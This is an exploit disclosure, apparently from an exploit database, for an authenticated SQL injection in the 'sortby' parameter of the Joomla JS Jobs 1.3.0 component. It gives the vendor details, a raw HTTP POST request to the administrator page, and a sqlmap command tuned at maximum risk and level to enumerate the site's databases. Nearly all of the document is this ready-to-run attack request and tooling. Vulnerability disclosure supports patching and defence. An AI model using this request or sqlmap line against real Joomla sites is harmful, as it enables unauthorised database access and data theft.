#Exploit Title: Joomla J2 JOBS - Authenticated SQL Injection
#Date: 17.06.2020
#Exploit Author: Mehmet Kelepçe / Gais Cyber Security
#Vendor Homepage: https://joomsky.com/
#Software Link: https://joomsky.com/products/js-jobs-pro.html
#Version: 1.3.0
#Tested on: Kali Linux - Apache2 

Vulnerable param: sortby
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POST /joomla/administrator/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/joomla/administrator/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 233
Connection: close
Cookie: COOKIES
Upgrade-Insecure-Requests: 1

js_sortby=4&companyname=12&jobtitle=12&location=12&jobcategory=&jobtype=&datefrom=&dateto=&option=com_jsjobs&task=&c=job&view=job&callfrom=jobqueue&layout=jobqueue&sortby=asc&my_click=&boxchecked=0&d90ced5aa929447644f09b56c8d8ba12=1


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sqlmap poc:

sqlmap -r jsjobs --dbs --risk=3 --level=5 --random-agent -p sortby